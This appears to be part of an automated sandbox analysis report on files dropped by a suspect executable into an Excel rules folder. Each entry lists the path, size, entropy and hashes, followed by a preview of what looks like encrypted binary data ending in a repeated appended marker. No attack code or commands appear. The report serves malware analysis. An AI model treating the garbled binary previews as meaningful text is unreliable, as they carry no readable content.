Preview:	<?xml...:.,<...@...-..l...H)"$.[.K.5.,_...D.e...8..z.R......MM.>s.i.6M...'f8.k.Sr...bp^..].V.J.....\..w. .B&.~.e.x.a...f..eV.F..$.R[..."........dOy....W.J,t...kz.........g.. m_1N..3.3.........1.T...N....;......Ms<.....f4.M.o.J..3..Z.W.....\|@@[..G..U..q..XE..Y.`D.^a....#....v...~...U$...6...a.E...W...t\.[..U.K./Z.....M......s..z..].Sv..b...?I....p5.D....d.W..0t..t%..b....b....>`....G..........8 ....3. ...8H..6>..A#,.E...._..G...-!V.\.A.V.1V.;..z.....l}.^V.\|,.]T........:Y...e....O.......mO.e^......#d......?.V.p..^`h..Z...QP%....s#O.p..1%I.......?.Yy...~PL.....&L...S...;.......H......S..,............<A...P...C. mr..s..0@.>dJ.$......C...u..h...X..:.L..x.}......1....]_...t..^.I...=..J%I&...C....]..l./.....T>..b]...E.4..h .......I..MO.OTT.5...`..k}(..8.".R[)..w.MW........db.0.M..Lo......<G..AE.'...O+\..S%Q.]S..G.?.:O.._.....o.E<.uvb.pRM.w...N..=..%....+E-.B.%`.......z..iuF...%v@.....U`ZI.h...v.]...3+.]xcdIdDNFh62dy3iJsba1COhcfDENs

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170043v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.711590359684588
Encrypted:	false
SSDEEP:	24:VSvap80v+Z48XQE4ltW1UZC9GDhjdUVfqVHNxi9pbD:NNv78XQE4AyCkDhRUpYNOJD
MD5:	6493FCA1A9F5AF35E6C4CCF4378D9A26
SHA1:	AA5FDD6748A3E2C86A219B5A6F3F78982551909D
SHA-256:	8E367B6901F6B41BF65038F92595E5A4258D7BDB97663E2A447538C2A926AE4B
SHA-512:	1B3FEE17E3D6C007FD94F2B12B28FA485417B99E593102E24D0F0C30CD2928C844ED7ADC131F6FBC9B61CF2A19D38DE2F7F99784781844960749139D78EE0073
Malicious:	false
Preview:	<?xml.....-.3.jd.0.*hM..B....c...>.:..^W.zf8s..Y.E..k.N...6~)..............\..+'....?...w......,..MB..t...sp...e.a#...J....Ugt...x.u.I.5l...uQ.A.a.u.#..A3...QS..i.C;.\|...[....MO..Y.r...j.X.q..c....'../7)..BX....X...I!......{ \.L.....v3x...8B...F.r..s3..J.3\r.\|6.d.....Eap../P .TQ.=.....Z.m.....R..\wRMM......_..wi.I.Y.n"......-..Z8Z.ftz.-7...M...D~...l...J..5...D......Y.....L.h....sp..r...I....hej..P.......{...}ve..!......QK?"...o.H.$g.&&7].l.M/:\|.%...U.B$.;.k..t.fH..u<........?.V..P..K.y.."........7........Z.&.R..6......C\.....2....4Y.S.9.. .5..kw]..l...8....i.1...B.)s....@0YBa.{/.^%...\|..rJ.'..X.....eP..>S.M#...C;e.z.wk.........>...P..P\|/S%;..vql_..P...mRZ....1E....O..a'.j..F.....ixcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170044v4.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	853
Entropy (8bit):	7.783875536491746
Encrypted:	false
SSDEEP:	24:ww9k4xJ6jl1cCm/92RbN24L+zNOqiDZtSeV/sg9pbD:Nkg6gjUtUzNOqiDZtHhs2JD
MD5:	0FFC4E101408978102B7E8203CD47792
SHA1:	77747015FF130B1ED225EBC1F7478E82DBA94464
SHA-256:	585D5E7E1DFB1ECDBA311039E3FD7FE4142C3832D1AA95559C704958AA278082
SHA-512:	B49D41568E29808C099B55143C395823D05BC3EE5124E63A9CFC09C4559CBAD3C6190B87416309097233D8855B99ECC1B7C896A3864D5A8D72A46DB7CC92E88E
Malicious:	false
Preview:	<?xml.k.ze7.V....3...J.%.....{ifK.,...V..,.'...R$.....dn.C#.q!......-....>D........A.u..%....l..1.H`D&u;kL2O.^E..p.V.l..)...B.).y.zRL"..Z.y..w..3(]3Ia.\.sFb.N...J.I.xn.....iE.O.P..."...^a.L...;R..kuq.._..MIl.b..f.)m...S]..M.U(\|y....y0....k.%%^...g........v..4.F.\.na.....cH....[.RJ..e.Y.........qC.5)%.{..`.6.......g.@....%.*.=.A......R.#&.b$...:..._^=.n.{u.....eTP......c..N.F............W..sk6..k.. H.....clM'w$(R..P.vc.N..X..]....W..N..!.Q.9.s%.R.S.&'.aD...;../'r...........2....q;...MY.....i..z.45..........+3B.l...F,0t.3...[.....(.....3)..R.D.W.d.[.>./..E._.0...T..zr.....u......gD..Og...1..-B]i+.).{).<.?G.....^;0.t......D.\|..... .Q.#sj....W.f...F...Q.......5;T.}.'.\....0K.C. :..9G.n.i.....O....fw.;.Qz....QJ..M.....9R.u.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170048v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	7.7741480291691545
Encrypted:	false
SSDEEP:	24:6wJr5k3/vrKCqW8bxaMzfGYqoA75r0Gos9pbD:v+3nrKCsZOYD+LJD
MD5:	6BA352DC3C09001F7B64A66895154517
SHA1:	13C0B5432AE0B1E72AC65C39C22C6E6E1FCDB58C
SHA-256:	1EF268567825110879E2028DE67FB6D9650622DA1B3475E165BF7D9432E2B484
SHA-512:	BD43F837ABB4CB19757B48CD1C7F492631971F4FDBEA2878829DED54D947203B92C2A867EAAADA9D1A7A7B753074203C574FF9972AFB662D70318B2B3094F509
Malicious:	false
Preview:	<?xmlzF).^..1$^.....40L3.X4.~r.p$+..Oo8...)..."\|...17.)K..........$..9.<zh..R..T.3s.2X.W......42.+...F.....,....._.......?[.V+.9T..B.........b........,h...6S...9.....}..C.{..g.B}.nv...P.~U.)]e.~..........Q2....f...I...Z...#J...Z..........v..!h.C.X?X.Ad.u18.:.1...../...f.-:.... ..8.e...i...m.....d...s...\.%..~.n..g^.....'.R.......m.aN._...G.e.U...>..s...N.......b#]ID..l_..mfXl...8..'...?O+.gZ.Ww2.#=TZ.......^.<.!...>"t.}.........-.).....e`..M.n....L..{..2T...3...He.E...^n...].G.Q."X]...x.l....m..>.f/.....[-v......t....-.k..P...`.r!%...".=.yFa..k.....f.........._rjt9..y..T...c.O.....4..Y.ZE+k..)ON.....m.x..tM...q..5.:u.X:z .L4.v.1....L.8{....'.X...fSoP-....a..k.%......=~+0..c.z.<..D..:..oyC...[.........R.-@w.......q...../Eq~^.........s...,.os..s..m.N....R.h.d.X.i.e..<I\|...0=+.....}wlexcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170050v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3310
Entropy (8bit):	7.942954015218442
Encrypted:	false
SSDEEP:	48:W3LuaOSnR7E0+GBSpVn+FYXPtFjeU2GnOUlnVZeh4b4HkdRcFlTHGhe8+JD:WbjOyR7UiSHn4yPaNUlnfo4EkRolTmK
MD5:	0E8A9448076F9DB521840CABEA76A53D
SHA1:	5638E8220FBD2A85C8E087F5E5F011131FA7338B
SHA-256:	1DB3A60B3B899E321C4FDEF82474103F6150EDB276AEE4971EBB7408736059BD
SHA-512:	6901715245284FBCB784967EB42E5A0A2B5369104B607EBDC7A51076C5FCEE26B7D537A13C88E0F4ED194DE6C2E4EADDDBA3ACA254098210FCEB4C0E18E79ED4
Malicious:	false
Preview:	<?xml...Z....UW.:_.6'........v...t.49".W.;...v...J.FL5..u.....YQ.".D2.#.5.@..,.9.Irb...\|.shN..~oV.$...V.k.%l...VR:.......skO.H..+....V.ll3..K'8.....p..6R)"..%m..a]\|]......fR.g3........_..,...E.p..D.....7.nk..x"..u.=`...v#4.o..x.FY.<}..e....oo?44..h.li....E..c."PH.0.........A.........}..v;.I\|.D.>.7..z-m..0.q<V..V. ..,r..k.t ...L...Tl..ax0x..q.0hyE64....Q......'....d.f<....... .I[...X....KgP"../.gS..a.beg.'...8..2l.?.ka[.......n....c.v..(.?ey...0...(..R....X9...'1....U.M.{le..\..1..p.U..<.z.u4.@.......A.A....:.c.9~.`.....k.x........R....G.h.#..U...i-T./..Z].Z.."A}...QH..+.dN.vC.z,..s%I.3.d......%..V....}.p.....U#..<.2ul.t...#.4.$....w..9...k.o.sVv..\.N..Kw...^..K...[... ....nj..@7.B..l...V...<.g..H....T^......e.hEv.........Z.\.?....}..9.1uj..NF.!.Y.G..0j.B..D%z0.Y...M..O.K....@&j. @.....{y1..].i..n../.......a.a......!...'.".+.........a.<...C........k..N...}....H..3.*[s....Y..).d.$I.D..j~......u\|......YV.?.E.rz~ lx.L....U..[w.h...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170051v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	910
Entropy (8bit):	7.713230940016609
Encrypted:	false
SSDEEP:	12:M/xCe3tk/a0xG1kdoPwabHaZoopSjX7eUTz+gVKiDV2ZpeZCd+TdXdrp1eo8uVsX:cBsdoNbbx73z+gVK8I7eZCunp11k9pbD
MD5:	4356A10085DC5F206770242C49B69BBA
SHA1:	A022AD410D9DFF187FE72017C0AE5D32409CA038
SHA-256:	F714E0E61D2A4A86F9682AB538D40DDEBA695C7D28DE63FF8C7E53AFC76DC204
SHA-512:	C603987B018774A5645F56C2DE2FA7FC76F680245D71F6A9A0D3DC0DFEDC1E8C25BCC96B18B5F3F54B1726703FB4B28A637849269DF4997336979EA525450724
Malicious:	false
Preview:	<?xml1..r.....U.....px0Vq.{m........rL.d._.......i..X..[...v.>.&....[[:...g.].&..[~j.T.Sx.E.XAI.....2..g5..1).p.{.de.w....=..=.t.........V...(.J..9.`{&q;.:.U.0......M6.w.&);#c...z..>...d.2..).+.(..W..o...X]P.......q6!n.......X....)\...6@.JU.XhyL.....g..JO.]v...$..r......sD%L..]4.Lg....&.s?...@.V...l..Bg.......n.$..t:~.>......w..9.%k=.&.+Q..Sg...T...$(.pE...&........r..[...T.....3.@..D:..>....29s.......0b..=...pP...4.@z-h9..=a...y8.......my....P...1p...E...(l..u..C..C..q..==.uA.#.a ....=ARWA..,.[.-i...[..c}..s......!...V.=.C.....=...$.gA.,N.>q7....F.t.0W?...j.p..%.C..b{.<x[.......\.3.3..?..C.Y.....Y.m6...Vx[b.U&W..t...#.K.....+.@..$Y..(B...4=.q}..."..m. J.....sAM>..3.g..9Ev~........9...G..6.].....-....CTC......>.U..x......"....[Z.H.?.m.3..0*.m.?7.E.`..1/..pn...s.....-.w.CxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170052v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.775789044784048
Encrypted:	false
SSDEEP:	12:XcawN5n9BYUrURBbKbIXfvaDrWvmcqFDmCD4GdidgRSsiTjr9+9IXMBoFt5/JS9h:Ma459w2aUgmbF5BnoFL/M9pbD
MD5:	FCBCB2722CEA811C3A4B63D20CB8616F
SHA1:	73087E835D2C48EC04F1E06557BBD179F81260C2
SHA-256:	480C020C8C10AAC2C568F350E5528A71412EFF37B2F3A02A5644CF58FE752A6C
SHA-512:	F3B231BDF582D98AD6BCB3ACE94FA0601079CCD0571401352AC673195E196926E0631A0134856DAAB96CE44F4949A225093A401F38C643AE94AB32537DAB3C89
Malicious:	false
Preview:	<?xml.Ii...\.......r.4....H~..P=..A...#..Slz^..........+....a,.(v.X.'....~y...?...]e.j_.....=....t8."...gq....W^~..'~d.$..\|...Y(E..Q]....+L.....$.9....zB.v...n2@S]#....?....4..1c...?.@Q.!.u....b..fY.....L.....c..QO...).!,)...'.}7T...tt(..l..L.t.sD.DcHQ..H.g...}t.......!...9.>.. ...2>4.3.?...-.y.....:..Q.RX.Z...B.....1M.[..>vA.j.....S.....M.............l...N........:./JX........\|.$z...@.\LC].PI...."Ss..x..p.{......O..(z.f.Y.kzv96......q6.$p.RE.3.w.e.t.6.......a........f.@."..YV...q....D.XS..F&..L..9..lR....e6.q...2..._.VE.....PH.)Sn...n.\|..znb...k,h.{..X.i...L.9....t...A.L..0,.....&.7Vm..A..q...O2....e....r.a...iW..p\|..7..~JF(..k............... .(.....l...p.....%._.kq.$q..-2.hAz...v.N....KK..e.... ..q0.G.R..e.x?.eb%SE........../).*Vv.#...#....u\|..pc\....;....y......G...s.Z..q.........^...'dxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170053v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	7.715543167541557
Encrypted:	false
SSDEEP:	24:yd9ByvsbVYw6I86fs3KhX+JyUPedtXFMUrahi49pbD:2fL6A+6OJyUPMXFM6UXJD
MD5:	7D1780589F3B8B8367CF7BE88DDCB78A
SHA1:	F5DFF2D8AE8BB2CCE98D428A580DF09169916485
SHA-256:	2CD017BD302C2991EDBA79AC6C9190CA739EA5071C095288ABA3289B8D45DFB5
SHA-512:	30CB284C81DA4DBAD77E616A263EB4D3004694BAD9D9A543F316BF7B0BB08A01F3D487C0FE6DB6F020A969E0E442F52EE8312039A9D9E924986E1FF8F4C88725
Malicious:	false
Preview:	<?xml..U...}.....y.uA>.........1......<Z...M(.-...N...yq 1....(..BE.m.~VJ<..[...wf,........l5..?..".I.....jj..1.I..V..p.:n.c.1.<&Z....nI.6By!..~...........o.f......g. B.:..[\}Z>..o....0...C.m..,.h&7...q...oU#..a...N^....R}.....jf.jE....W.p....)..`.Ec...}........,........+.p.\|......7....O......I.}3. v...6.Ij.eE^J(...L.:+.......Y.[(...N..C9....o..:.]n.{..8N.`..b-M.e.c .\:........\c.Wn~1..>....xi......M(..K..^/.;{.....:..#...\|.5J..+L`........r.......)D........8?D.$.......Z..&.$.Z=]....sf....(.J..`..u.r.N..h_...3TL.......<.4E8.M.!...S.>....z....X...R.8.gl.......i.[.!$,Uf.u.*p@T!..(.P.k..Q\'.K.mGn..K..`2.J.G\L.?F.Y....Y.....2E..Fr.P..j)./.."U..8w......lP..Z.6...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170054v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.748205824821304
Encrypted:	false
SSDEEP:	24:jb1xGbVsAw9ZQBFF1gVKB2vFxUQ4lv85Ol9pbD:Fo0ZUQX4thJD
MD5:	ADE2005D5DFAF30314A91C48C61B1C65
SHA1:	3A0093E3700EE6B10A6290A084269AAD5AFD1D4E
SHA-256:	D30817F5DAA885F0BF9C746FBA60C0C0674736A014F6297F21BBB349F18DB73E
SHA-512:	AB9587640DAE65AA3ABFE74E703841C95E861A3DEA5CC8C23FC553AFDB796A9F3A243158C95DBD3BBAF09D569D43FAFC20F104E16A78D1777605EB3C5E627FA3
Malicious:	false
Preview:	<?xml.O...P..........0i.._..B]......4...Tz.h.1..J....gj...j..y..R...u..Y.....3#...-).)...#.....0..:...S....6......#..7'1.......46..L.[.1D..>k......dP..3.w.K......Xe.=...a.....V....\|..:.r........@...o...yjj\|o.......Fa.#..(..u..8$......uzI..-.../a.J..=q..dq.V.......<T..F;Ip.#n....qCYsl.D...XKeW....R9...sG.0.g~....t.K.&..l%V..i.I....f...9e.T..<F^...d.lp.).....gY...Z..w.a.aD...-."ES0d@..F7.n........Gy.!...'..\|.>...G.CP.n..W;..-..6.;....V.."V7%.&.C+.u.x......`nm)sZY.a..Y...+z.\|..:...e.......q.q.).S.u.X.k~...v.z..u....._....F#T.1...x08.....1iy..A.O.n...1f.....\|.%.b....l...oa.5';Y."u.<6Q...2...r..`......20...;......%d...9.?1y.......R...7.k..&...}.E.F.m..y.I.YLoi.r.F.FDB.....;..i>...R.....3.6+..E.l.m..W.D2.Z.!......%0y..\|4.a+5V..8..J...Z8q\.^.....I......J...9..WuT..S*...)....y..IbU.tL..8o..uR...how.{$.^LE..O0....?..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170055v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.799249755021526
Encrypted:	false
SSDEEP:	24:OpiIuq6dat7TKbwq4UImEvql3tUapVEyaScbx7hmL9pbD:uiIuJYx+bXCvlapknZgRJD
MD5:	A02027E506312CC596129178E6F31580
SHA1:	72F9264F822189C4A4A1FFFFE8288810A3E86645
SHA-256:	5806783AB7E3D6464CA7FBAD48E38828D67C4F6C47B351A9C711AAA2418FCA07
SHA-512:	0AF8324F1FBDC0290A417C8C5262458165C9C1E0BDBDCC2C321B4D7B5D868CCC95544ACB45084DD1AB77FB4D4F61F7A5ADBC1A6706B43DF1F58A1683D28F6933
Malicious:	false
Preview:	<?xml..%}... ..08Wv...\..t.'.f..d%j.B..Zy.\.p).......+E...].(.....@.Q....<.!8I({.J.l..>z.\..,.-!.e.4J.Dr....m.$t...Y......W.I.v...x.5<.....m.Z.r.Q...3V...5..2!..P.wL..=.. .p.?/P........J..^.N...m7..Vt.]._f.K@py.O.Prk R( ....cA.ig..S....i.S...j.....}y...3.'.M....ih..a....e.A..'3.)..-..?\.Iu7J....U.v.MLE./.!.gi.=$.E.q]l5...O!...s..C..LQ-...e.........sY...z.&..!..n4..x...l..../..\.....LZ8..=YhP5`O...O.OVm..yw.N..]4r"..p..W. ....cO...Z..J..8l..T.b..>`.f-....A.....Xx..`..\.?zVi..\|...^H.-.....d.$.V....&...G....9....#......A......./\|{l.3..~..)..B.k.'.Oy......P.1m$K...p.9K...O...H...r5A"z..p].........8&.._.x.....<W/R./..".d..X..H.t.95W..D~....$m.....@}.6b.7.Uj......VP...f..<8..gL.!3.....\|y.X......B....C..i.P.Gv]zC..gT...H.....E...6Q?................{..A.e..hr.8......:..e.V..{4.{..B..~.?....J~-..OO....%.m8.w...lO..c\..k;..]....J@.+$Y.)..>M<..=E.]./.g....9;.)...b..6.'.B.M...E.B......)....!...7;.5.6.@..A.5\|.\....a8.y.qWy.%.E........7.<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170056v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	987
Entropy (8bit):	7.7989027607266905
Encrypted:	false
SSDEEP:	24:P6VFhZm7uR0Y/H7P9s+/oKyMftrzhflu4QV9pbD:SV9UuCY/bz/o+xRlu7PJD
MD5:	4273CC73B244528F835295D8BCBB9734
SHA1:	4ABA800863B80E9B94077E7E5035071005129B63
SHA-256:	3A2D36D6C60104CFDB550C7EF3162655D28871DEDF18C0DEB9105A73B691B309
SHA-512:	2D8D0D32B63966B264B0436C40837790CA0563B2A708644AF503878910013BDF05F8031BA2532CE8F0A8E136C260A250B46EB764DBBE9A3C6A85E619C2DB3C10
Malicious:	false
Preview:	<?xml....BF..v"}.XbL.cY..{...q.a...U.*..;dg.e.m....g..F....\|./.d.@...../.bYO.]?.n......u..O../..m...\|E..4....W D...."......G.........8t7P....O9`.Z=+.y..%.p&l.'.AGY....yk.t2.\l.....6.A..+.qh....@.]Y5.R.d.,DZn....#..kE=od.2.~..o..{.c.....B..1!..h.Zv.8...`.(X.#...yv.pd..$!T.L.O...{.....x.4,..v.nB%..7Hd....Za...{....g$.....9ix.......P.E7...^..[......Uo9.4..(.p..8.J..,.F.IW...33...D.(m..p>.(.!...W~.N....t..Y....\.[.%l..N.4t.D...i..Eo...`....4....!. G...(...jHW....j..V..?.z..N;.8lb.T.C..[..<...(_q.6)]&..F.]..U..]......I(.t.G......<4.......8.TM..Y..e.R._.9..M.TN..cP.yC...S.u.....tx..........v...:..i.N...v^...e...).....\'...rK.>.4d..........op(._$.j.5.u9...R...3;j..hv.....`YA..6.......T#:.r...]..-..M1.W#..W.{.'W-....... yxO.;..j<...V..2.....hK\.2......O...X....B...\..E$.,Y..q.x.b.U.`X.O.s....w.....T...)t:.^=J`....D.(....e.Gw..c.....c=.2.j.D...1..My.^?f!U.`<)R.VxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170058v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.775468529069968
Encrypted:	false
SSDEEP:	24:mQHuxh6KA8Slon+hBafve0mkqOvLS21Z3JBwkQ9pbD:QZA8SOnuBafve/8vG21ZJ1mJD
MD5:	CE7DFA1ECAE52575F4B33D402DF77132
SHA1:	1DC6EB09BEF7FE76D50452D24CDD67C79D1C417C
SHA-256:	553FF8318AAC61DEF134630D605A11AE4B1F4C3A2D9934289792819B0BE36D4D
SHA-512:	25831EC829F6EE226D9CD86D101CFD05A58EC71C7D98DBDF28CCB814D12BA2CDA10211D4904CA80F077533F3D1A3723F0E962B682CBCE6629303697AC17830CA
Malicious:	false
Preview:	<?xmlv....vT.u.u31d...2.9F.5..,.Q....%.Jl..HM...'1q.:F.[(..d........}..D.....I...W"...b.d.c.N.P}tMn...Y.#.......Y...\|..s.... .!.q .m.z.......8.c.....1..p..@.J.\|k..m.?..z...n..c......1.....7..]..{..xo.IO.....A.{...K..j\|.......+<y...,5x..6.-..j..E..R~...!..C........n{...u......X..Zd...&..........7...!....\|..l.iL&.!.N.aX......e..#...b..w..&.cQ..0....G._q)H<+.-...._.4.d.N..\..,".~.>".>5c<......2Ek..R..p.N...o!W..AN.....a...O3.t'..r...F.w.<q'.u.3..PJ."u.U...vd4..M.b.................kE.x1..u%I.4.j).z._..}M....y.}^.O...J....m.2..,=.QS*.$...._.....I/F8.0....f..}....c..].!b..[...G...L...9...FJ 2..%.V$......E..+...RVcvK\...H.^.....<....V...w.IN.jU.~...'.,T...p7.5.G $.3..^.B...v....(P......:.sN.(o...+.:(.....T7O.....;._.i"B%A..;.%,.......r..A2.,xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170059v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	859
Entropy (8bit):	7.749817084215837
Encrypted:	false
SSDEEP:	12:ozf+jUh0lGKr7ptCIuFwUiwucp6chOBRyxTRVgH7aapUToeWvWzZuluqIqD9M2cq:YfKUCnr18NBp6BRSRypUTLo9pbD
MD5:	A411973CB211D3C95C0474739C177D3E
SHA1:	ABE6A31EDB3ADA998E3D63A847FCBDB3DD545269
SHA-256:	D880537D06CE07F393BF97E567D7A190EC2AF84535FD97B6499F53A9A2A93B19
SHA-512:	20AE6C9A4E0F9528A8E9E5F0DF59173E4844B1065BCCA693676F9F213E9105C69EFE395F189E0F40C08946AC112C390340534A111538B7F6E93D513F492B53BF
Malicious:	false
Preview:	<?xml..hg. "Q.Ba..0U..00.......t..5/....>...W....(=^...2/q.;.%n.p.z..M.......Y.1..(..r...@..S.h...Z.../B..h..A.J.].X>.-...#..bN...}.R/..+A.N.R.. ....Qy>Xl.....7............... iN.>..pm.`..F....DO.....\|z..l..%..?..f.,....Y...$:#...Z.G.dI...W1h..bL...`..w .4.^....8.o...&2O....yE...0.....t........O..;.8F7I.o.....gO......]..GMK.{....2.]........<..2]K...a.Yrn..z..6..F........E.8.....r+I.h=9.,..T<,J[U+.+.;.d.Rn..\|.I...........j..U.\|..f.-O..K.H.".0...yJ.2.......}.^.:.....3..x#71!./....?.DP....[...8.....`]lr....._.;..Q.._..i../^..U'$.....IOP...9)...a...A.....,.k......\|.iva.K..............q.S..3ap$*.mr.u..B..l.Hf....w..PA...O7...B%i;...k."..F\.v.q..._`......Gh.#.......J..;.C..?g$....F...N5.lNA'm...[...2N..2$m..67....2.q..o.(o.D......xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170060v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	725
Entropy (8bit):	7.7160003401782395
Encrypted:	false
SSDEEP:	12:nSsF1ruCK/dTIrLPdCFDtnqwrjss/cprpPWftM9M2cii9a:ECKOnxwrjt6dW1M9pbD
MD5:	28BBD5D3AAA10BC4EB3CFE7CDBCADAED
SHA1:	695FB1E5BFAE7AD2F7081C96F53EA4A82BFB2CF2
SHA-256:	3311A794CEFC31D261B69497D09B8E59E9520A6A452796578EE8B488E93CFC32
SHA-512:	C152ECB0923952423BC842770124FAF5C0AA225AA889D455CF6DDC1F9B3C12A2CE344A4A601283F46901E1B109A16A7C4A9CA112F75425AAB1D79B455CC52229
Malicious:	false
Preview:	<?xml...b.yr,.\|.......V3...A.4.....M..`...w.......5...:.w@x..b..).4jp.?...g.1=.....B..N.\|..u.......\w..;......V.X..)b?x.It..9...A.AM..V......V\_._....9[..L.[..B...{......M..>6&TB.fd.v..7b..g..w.S!...{.L......=.T... &neXa..Q.g..@t.":.......;.sA.!W..0F...j.....J'FCY..F......g.%X)-.I..m..M.=k...b...(D~.n;a..C.k.d..!...:$~.J+..G.S..9\.U....RS.S.u..u..Qw..u.b..L{?.9....4v..]L.p,J.j..K..'bTp 8......,I...Y....g...E!s9x..kz}k....~W.+H.\r...t.).p.w.y....\|....r......).........vg7O0.<q....j.[b...Hc.'y[....i.."h.PW......5..\0..p.....m./.NS.0..-..6..B..o.4.........)]Qs.(....<..=.$.;..,=..{i.c"2..'U.q.n. .Guy......ex1..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170061v5.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1175
Entropy (8bit):	7.835497708451939
Encrypted:	false
SSDEEP:	24:3E9Des2ftJn7380b5N/VK8BYk5e7gSYfjomgiuD8DmY3jwWWs+atYxh9pbD:3E9D0Rb/rBz5hhox7PW9+HJD
MD5:	382DF5397214CFE3C27873D778ABB441
SHA1:	8662C79AE0A7C8941F829B00C7AA75AA33C5221D
SHA-256:	FB201F18055BF5A5A8F26ECA696C4027D0B13EF045812B349D39DBFD9E7AA612
SHA-512:	835803EA6520975951145DC4AA7E70A5A3B2AD415FD4F82CDFACB23F9474A51FE12DD77D0C332B18639D7E56D455A7587349E6909042D725FC6C087EC9F1BB94
Malicious:	false
Preview:	<?xml......+......f.8...{.....m.$......X.J.M..R..z...+.K]..p.;..(.........49>n..T..K.E..J._.L.W...N.e....Z.,...\<v....t."s\|5............D..c..b..Uk......x&b=.......c...%W...p.C..a...@.....M.U...Du-..8.[....he..^..^....o......:x.....BW.....S...j(!.=....Rm.b.a.......Z..P.....q6S....Z=..A.:g...V.,..K..LhetU/...F.....uX.'....!H<....z1..E....^..;.+.UP.....@.C.jo....#....(.e..4.HC.G3...e..)./...e^.._..d....bK.X.....m.QCFv..v)..@...uF.....a.-..d..QJ.'...#....#..>..y,x.k.....@.x.n"..Q.....^~{...+y..V..q.%...5.....).L!.5_d.,..6.......z.c.}..C..A...k..D..r..\|...9.)...y%P-...1A.@..).p.is.t.r...B..v..Q..])..?....d..1<..w.2<....:...>{pUY....1.E.;.cP.K"....7........gm..?.Oo..A....&....f...@...]t......PV.+s..3...)q.l......O.~..`.X.X..B....x...i....?....R}.JgL.7.#..\.........W.t.A..<.[9[.'T.$M.}.......V;.*~...?..X.-B...:..n...6.(8.F?tu...a.R...M..n/..C.....#...A$)!..,_.^.\|.....X..3.9......L9.........yw.H.x.)...})....f.0v...8....X#e.%.......T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170065v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	724
Entropy (8bit):	7.679547937019209
Encrypted:	false
SSDEEP:	12:yQ6nT/zsXbzHj83P/UECv9908e1O/hrKixUn5nwEeEnWARMbz1qj0C/69CzM8C9h:yZvsXbbj83ED9a8e1O/hOPnwEepD12e1
MD5:	809B313B8C7B6964DF0E07FA3F2A7964
